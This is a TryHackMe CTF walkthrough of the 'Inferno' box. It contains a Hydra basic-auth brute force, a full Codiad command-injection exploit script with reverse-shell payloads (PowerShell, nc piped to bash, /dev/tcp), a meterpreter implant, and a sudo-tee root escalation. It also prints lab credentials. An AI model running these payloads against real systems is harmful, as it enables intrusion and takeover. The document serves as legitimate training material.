TryHackMe >> Inferno

Table of Contents

DESCRIPTION

"Midway upon the journey of our life I found myself within a forest dark, For the straightforward pathway had been lost. Ah me! how hard a thing it is to say What was this forest savage, rough, and stern, Which in the very thought renews the fear."

Remember: in the nine circles of Hell you will find some demons that will try to prevent your access, ignore them and move on. (if you can)

ENUM >> NMAP initial

root@ip-10-10-25-195:~# nmap -sS -sV -oN inferno_init 10.10.172.176

Starting Nmap 7.60 ( https://nmap.org ) at 2021-12-11 05:37 GMT

Nmap scan report for ip-10-10-172-176.eu-west-1.compute.internal (10.10.172.176)
Host is up (0.041s latency).
Not shown: 958 closed ports
PORT      STATE SERVICE           VERSION
21/tcp    open  ftp?
22/tcp    open  ssh               OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
23/tcp    open  telnet?
25/tcp    open  smtp?
80/tcp    open  http              Apache httpd 2.4.29 ((Ubuntu))
88/tcp    open  kerberos-sec?
106/tcp   open  pop3pw?
110/tcp   open  pop3?
389/tcp   open  ldap?
443/tcp   open  https?
464/tcp   open  kpasswd5?
636/tcp   open  ldapssl?
777/tcp   open  multiling-http?
783/tcp   open  spamassassin?
808/tcp   open  ccproxy-http?
873/tcp   open  rsync?
1001/tcp  open  webpush?
1236/tcp  open  bvcontrol?
1300/tcp  open  h323hostcallsc?
2000/tcp  open  cisco-sccp?
2003/tcp  open  finger?
2121/tcp  open  ccproxy-ftp?
2601/tcp  open  zebra?
2602/tcp  open  ripd?
2604/tcp  open  ospfd?
2605/tcp  open  bgpd?
2607/tcp  open  connection?
2608/tcp  open  wag-service?
4224/tcp  open  xtell?
5051/tcp  open  ida-agent?
5432/tcp  open  postgresql?
5555/tcp  open  freeciv?
5666/tcp  open  nrpe?
6346/tcp  open  gnutella?
6566/tcp  open  sane-port?
6667/tcp  open  irc?
8021/tcp  open  ftp-proxy?
8081/tcp  open  blackice-icecap?
8088/tcp  open  radan-http?
9418/tcp  open  git?
10000/tcp open  snet-sensor-mgmt?
10082/tcp open  amandaidx?
MAC Address: 02:90:28:B5:0E:51 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.11 seconds
  • The "extended" port list – this was using -p-
21/tcp    open  ftp?
22/tcp    open  ssh               OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
23/tcp    open  telnet?
25/tcp    open  smtp?
80/tcp    open  http              Apache httpd 2.4.29 ((Ubuntu))
88/tcp    open  kerberos-sec?
106/tcp   open  pop3pw?
110/tcp   open  pop3?
194/tcp   open  irc?
389/tcp   open  ldap?
443/tcp   open  https?
464/tcp   open  kpasswd5?
636/tcp   open  ldapssl?
750/tcp   open  kerberos?
775/tcp   open  entomb?
777/tcp   open  multiling-http?
779/tcp   open  unknown
783/tcp   open  spamassassin?
808/tcp   open  ccproxy-http?
873/tcp   open  rsync?
1001/tcp  open  webpush?
1178/tcp  open  skkserv?
1210/tcp  open  eoss?
1236/tcp  open  bvcontrol?
1300/tcp  open  h323hostcallsc?
1313/tcp  open  bmc_patroldb?
1314/tcp  open  pdps?
1529/tcp  open  support?
2000/tcp  open  cisco-sccp?
2003/tcp  open  finger?
2121/tcp  open  ccproxy-ftp?
2150/tcp  open  dynamic3d?
2600/tcp  open  zebrasrv?
2601/tcp  open  zebra?
2602/tcp  open  ripd?
2603/tcp  open  ripngd?
2604/tcp  open  ospfd?
2605/tcp  open  bgpd?
2606/tcp  open  netmon?
2607/tcp  open  connection?
2608/tcp  open  wag-service?
2988/tcp  open  hippad?
2989/tcp  open  zarkov?
4224/tcp  open  xtell?
4557/tcp  open  fax?
4559/tcp  open  hylafax?
4600/tcp  open  piranha1?
4949/tcp  open  munin?
5051/tcp  open  ida-agent?
5052/tcp  open  ita-manager?
5151/tcp  open  esri_sde?
5354/tcp  open  mdnsresponder?
5355/tcp  open  llmnr?
5432/tcp  open  postgresql?
5555/tcp  open  freeciv?
5666/tcp  open  nrpe?
5667/tcp  open  unknown
5674/tcp  open  hyperscsi-port?
5675/tcp  open  v5ua?
5680/tcp  open  canna?
6346/tcp  open  gnutella?
6514/tcp  open  syslog-tls?
6566/tcp  open  sane-port?
6667/tcp  open  irc?
8021/tcp  open  ftp-proxy?
8081/tcp  open  blackice-icecap?
8088/tcp  open  radan-http?
8990/tcp  open  http-wmap?
9098/tcp  open  unknown
9359/tcp  open  unknown
9418/tcp  open  git?
9673/tcp  open  unknown
10000/tcp open  snet-sensor-mgmt?
10081/tcp open  famdc?
10082/tcp open  amandaidx?
10083/tcp open  amidxtape?
11201/tcp open  smsqp?
15345/tcp open  xpilot?
17001/tcp open  unknown
17002/tcp open  unknown
17003/tcp open  unknown
17004/tcp open  unknown
20011/tcp open  unknown
20012/tcp open  ss-idi-disc?
24554/tcp open  binkp?
27374/tcp open  subseven?
30865/tcp open  unknown
57000/tcp open  unknown
60177/tcp open  unknown
60179/tcp open  unknown
  • OK, this is going to be one of those boxes… they did warn us of "demons".

ENUM >> website text – in Italian

  • This seems to be from Dante’s Inferno – the first part of Dante Alighieri’s 14th-century poem Divine Comedy.

ENUM >> /inferno – password protected (http get auth basic)

  • OK, basic auth is a pain… but not that hard to break with a bit of patience and your good buddy Hydra:
❯ hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.123.26 http-get "/inferno:"
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-12-11 18:39:45
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-get://10.10.123.26:80/inferno:
[STATUS] 1388.00 tries/min, 1388 tries in 00:01h, 14343011 to do in 172:14h, 16 active
[STATUS] 1426.33 tries/min, 4279 tries in 00:03h, 14340120 to do in 167:34h, 16 active
[STATUS] 1435.57 tries/min, 10049 tries in 00:07h, 14334350 to do in 166:26h, 16 active
[80][http-get] host: 10.10.123.26   login: admin   password: <REDACTED>
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-12-11 18:49:49

PRIVESC >> /inferno has Codiad instance, login same as above!

Full credit to the creator of this box – they made this one especially annoying on multiple fronts. Firstly before we could even step foot into /inferno we had to crack the basic auth login (above step), then it almost looked easy because the credentials to get past http basic auth were also the login for Codiad… but then it starts to get muddy!

Firstly, none of the files inside Codiad can be modified, nor can new files be added. On top of that it took manually hacking the exploits that would usually have easily given us code execution to get it to work with this instance, because of the annoying http basic auth on the root directory.

Here is the modified code for an updated version of the first of the 3 remote code execution exploits listed in searchsploit: https://github.com/WangYihang/Codiad-Remote-Code-Execute-Exploit

LOOT >> exploit.py
#!/usr/bin/env python
# encoding: utf-8

import requests
import sys
import json

session = requests.Session()

def login(domain, username, password):
    global session
    url = domain + "/components/user/controller.php?action=authenticate"
    data = {
        "username": username,
        "password": password,
        "theme": "default",
        "language": "en"
    }
    headers = {
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "Authorization": "Basic YWRtaW46ZGFudGUx"
    }
    response = session.post(url, data=data, headers=headers, verify=False)
    content = response.content
    print "[+] Login Content : %s" % (content)
    if 'status":"success"' in content:
        return True

def get_write_able_path(domain):
    global session
    url = domain + "/components/project/controller.php?action=get_current"
    headers = {
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "Authorization": "Basic YWRtaW46ZGFudGUx"
    }
    response = session.get(url, headers=headers, verify=False)
    content = response.content
    print "[+] Path Content : %s" % (content)
    json_obj = json.loads(content)
    if json_obj['status'] == "success":
        return json_obj['data']['path']
    else:
        return False

def base64_encode_2_bytes(host, port):
    payload = '''
    $client = New-Object System.Net.Sockets.TCPClient("__HOST__",__PORT__);
    $stream = $client.GetStream();
    [byte[]]$bytes = 0..255|%{0};
    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
        $sendback = (iex $data 2>&1 | Out-String );
        $sendback2  = $sendback + "PS " + (pwd).Path + "> ";
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
        $stream.Write($sendbyte,0,$sendbyte.Length);
        $stream.Flush();
    }
    $client.Close();
    '''
    result = ""
    for i in payload.replace("__HOST__", host).replace("__PORT__", str(port)):
        result += i + "\x00"
    return result.encode("base64").replace("\n", "")

def build_powershell_payload(host, port):
    preffix = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile -enc "
    return preffix + base64_encode_2_bytes(host, port).replace("+", "%2b")

def exploit(domain, username, password, host, port, path, platform):
    global session
    url = domain + \
        "components/filemanager/controller.php?type=1&action=search&path=%s" % (
            path)
    if platform.lower().startswith("win"):
        # new version escapeshellarg
        # escapeshellarg on windows will quote the arg with ""
        # so we need to try twice
        payload = '||%s||' % (build_powershell_payload(host, port))
        payload = "search_string=Hacker&search_file_type=" + payload
        headers = {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
            "Authorization": "Basic YWRtaW46ZGFudGUx"
        }
        response = session.post(url, data=payload, headers=headers, verify=False)
        content = response.content
        print content

        # old version escapeshellarg
        payload = '%%22||%s||' % (build_powershell_payload(host, port))
        payload = "search_string=Hacker&search_file_type=" + payload
        headers = {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
            "Authorization": "Basic YWRtaW46ZGFudGUx"
        }
        response = session.post(url, data=payload, headers=headers, verify=False)
        content = response.content
        print content
    else:
        # payload = '''SniperOJ%22%0A%2Fbin%2Fbash+-c+'sh+-i+%3E%26%2Fdev%2Ftcp%2F''' + host + '''%2F''' + port + '''+0%3E%261'%0Agrep+%22SniperOJ'''
        payload = '"%%0Anc %s %d|/bin/bash %%23' % (host, port)
        payload = "search_string=Hacker&search_file_type=" + payload
        headers = {
            "Authorization": "Basic YWRtaW46ZGFudGUx",
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
        }
        response = session.post(url, data=payload, headers=headers, verify=False)
        content = response.content
        print content

def promote_yes(hint):
    print hint
    while True:
        ans = raw_input("[Y/n] ").lower()
        if ans == 'n':
            return False
        elif ans == 'y':
            return True
        else:
            print "Incorrect input"

def main():
    if len(sys.argv) != 7:
        print "Usage : "
        print "        python %s [URL] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM]" % (sys.argv[0])
        print "        python %s [URL:PORT] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM]" % (sys.argv[0])
        print "Example : "
        print "        python %s http://localhost/ admin admin 8.8.8.8 8888 linux" % (sys.argv[0])
        print "        python %s http://localhost:8080/ admin admin 8.8.8.8 8888 windows" % (sys.argv[0])
        print "Author : "
        print "        WangYihang <wangyihanger@gmail.com>"
        exit(1)
    domain = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    host = sys.argv[4]
    port = int(sys.argv[5])
    platform = sys.argv[6]
    if platform.lower().startswith("win"):
        print "[+] Please execute the following command on your vps: "
        print "nc -lnvp %d" % (port)
        if not promote_yes("[+] Please confirm that you have done the two command above [y/n]"):
            exit(1)
    else:
        print "[+] Please execute the following command on your vps: "
        print "echo 'bash -c \"bash -i >/dev/tcp/%s/%d 0>&1 2>&1\"' | nc -lnvp %d" % (host, port + 1, port)
        print "nc -lnvp %d" % (port + 1)
        if not promote_yes("[+] Please confirm that you have done the two command above [y/n]"):
            exit(1)
    print "[+] Starting..."
    if not login(domain, username, password):
        print "[-] Login failed! Please check your username and password."
        exit(2)
    print "[+] Login success!"
    print "[+] Getting writeable path..."
    path = get_write_able_path(domain)
    if path == False:
        print "[+] Get current path error!"
        exit(3)
    print "[+] Writeable Path : %s" % (path)
    print "[+] Sending payload..."
    exploit(domain, username, password, host, port, path, platform)
    print "[+] Exploit finished!"
    print "[+] Enjoy your reverse shell!"

if __name__ == "__main__":
    main()

I had to add the HTTP basic auth support to the above code as this was not in any version of the exploit… not that difficult, and in all honesty a great lesson in having to modify exploits to work.

If you follow the instructions it gives you, you will get a shell… but be warned – find a command that will spawn a bash shell and run it a few times… even just repeatedly running /bin/bash… there is a script running in the background that will kill bash shells every minute or so… but more on this later.

To help get around this, I knocked up a quick meterpreter shell via msfvenom, dumped it on the box and ran it. This gave me a stable and persistent connection to the box… you could of course also stick to using /bin/sh… but I prefer the extra features of bash.

PRIVESC >> ssh creds in /home/dante/Downloads/.download.dat

On top of the multitude of open ports, the bash shell killing every minute and the trouble to exploit that annoying web app, this box also has a home directory (that you can read without dantes access) full of random documents and images to throw you off. Fortunately after I downloaded all of them via meterpreter I noticed the file .download.dat in the Downloads folder – it stuck out because of the . at the front of the filename, like it was not meant to be found as easy as the rest… when I catted it, I noticed it looked like hex…

LOOT >> .download.dat
c2 ab 4f 72 20 73 65 e2 80 99 20 74 75 20 71 75 65 6c 20 56 69 72 67 69 6c 69 6f 20 65 20 71 75 65 6c 6c 61 20 66 6f 6e 74 65 0a 63 68 65 20 73 70 61 6e 64 69 20 64 69 20 70 61 72 6c 61 72 20 73 c3 ac 20 6c 61 72 67 6f 20 66 69 75 6d 65 3f c2 bb 2c 0a 72 69 73 70 75 6f 73 e2 80 99 69 6f 20 6c 75 69 20 63 6f 6e 20 76 65 72 67 6f 67 6e 6f 73 61 20 66 72 6f 6e 74 65 2e 0a 0a c2 ab 4f 20 64 65 20 6c 69 20 61 6c 74 72 69 20 70 6f 65 74 69 20 6f 6e 6f 72 65 20 65 20 6c 75 6d 65 2c 0a 76 61 67 6c 69 61 6d 69 20 e2 80 99 6c 20 6c 75 6e 67 6f 20 73 74 75 64 69 6f 20 65 20 e2 80 99 6c 20 67 72 61 6e 64 65 20 61 6d 6f 72 65 0a 63 68 65 20 6d e2 80 99 68 61 20 66 61 74 74 6f 20 63 65 72 63 61 72 20 6c 6f 20 74 75 6f 20 76 6f 6c 75 6d 65 2e 0a 0a 54 75 20 73 65 e2 80 99 20 6c 6f 20 6d 69 6f 20 6d 61 65 73 74 72 6f 20 65 20 e2 80 99 6c 20 6d 69 6f 20 61 75 74 6f 72 65 2c 0a 74 75 20 73 65 e2 80 99 20 73 6f 6c 6f 20 63 6f 6c 75 69 20 64 61 20 63 75 e2 80 99 20 69 6f 20 74 6f 6c 73 69 0a 6c 6f 20 62 65 6c 6c 6f 20 73 74 69 6c 6f 20 63 68 65 20 6d e2 80 99 68 61 20 66 61 74 74 6f 20 6f 6e 6f 72 65 2e 0a 0a 56 65 64 69 20 6c 61 20 62 65 73 74 69 61 20 70 65 72 20 63 75 e2 80 99 20 69 6f 20 6d 69 20 76 6f 6c 73 69 3b 0a 61 69 75 74 61 6d 69 20 64 61 20 6c 65 69 2c 20 66 61 6d 6f 73 6f 20 73 61 67 67 69 6f 2c 0a 63 68 e2 80 99 65 6c 6c 61 20 6d 69 20 66 61 20 74 72 65 6d 61 72 20 6c 65 20 76 65 6e 65 20 65 20 69 20 70 6f 6c 73 69 c2 bb 2e 0a 0a 64 61 6e 74 65 3a 56 31 72 67 31 6c 31 30 68 33 6c 70 6d 33 0a

When I ran this file through Boxentriq’s Hex Analysis Tool it gave me the following:

  • Note the creds at the end of the file – this is the password for the dante account on the box, we now have SSH access!

And just in case you were wondering what the Italian text was:

PRIVESC >> sudo tee & /var/www/html/machine_services1320.sh

So it turns out the first line of machine_services1320.sh was pkill bash – this is the culprit of the "kill-bash-every-minute" annoyance this box throws at us… Either way, this is run by root, and we also have access to tee via sudo on the dante account… lets use this to our advantage.

  • The commands below not only causes root to run our elevated meterpreter shell, but it stops that annoying constant pkill as a bonus! As mentioned, because we have sudo access to tee, we can leverage it to overwrite any file we wish:
dante@Inferno:~$ LFILE=/var/www/html/machine_services1320.sh
dante@Inferno:~$ echo "/dev/shm/met4444 &" | sudo tee "$LFILE"
  • Within a minute, we get a call-back:
[*] Meterpreter session 2 opened (10.4.54.194:4444 -> 10.10.162.161:36288) at 2021-12-11 21:40:23 +1100

meterpreter > getuid
Server username: root
meterpreter > ls
Listing: /root
==============

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
20666/rw-rw-rw-   0     cha   2021-12-11 20:41:55 +1100  .bash_history
100644/rw-r--r--  3106  fil   2021-01-12 01:56:22 +1100  .bashrc
40750/rwxr-x---   4096  dir   2021-01-12 02:45:59 +1100  .config
40755/rwxr-xr-x   4096  dir   2021-01-12 02:30:04 +1100  .local
100644/rw-r--r--  148   fil   2021-01-12 01:56:22 +1100  .profile
40700/rwx------   4096  dir   2021-01-12 02:19:28 +1100  .ssh
100600/rw-------  79    fil   2021-01-12 02:45:04 +1100  proof.txt

meterpreter > cat proof.txt
Congrats!

You've rooted Inferno!

<REDACTED>

mindsflee


Leave a Reply

Your email address will not be published. Required fields are marked *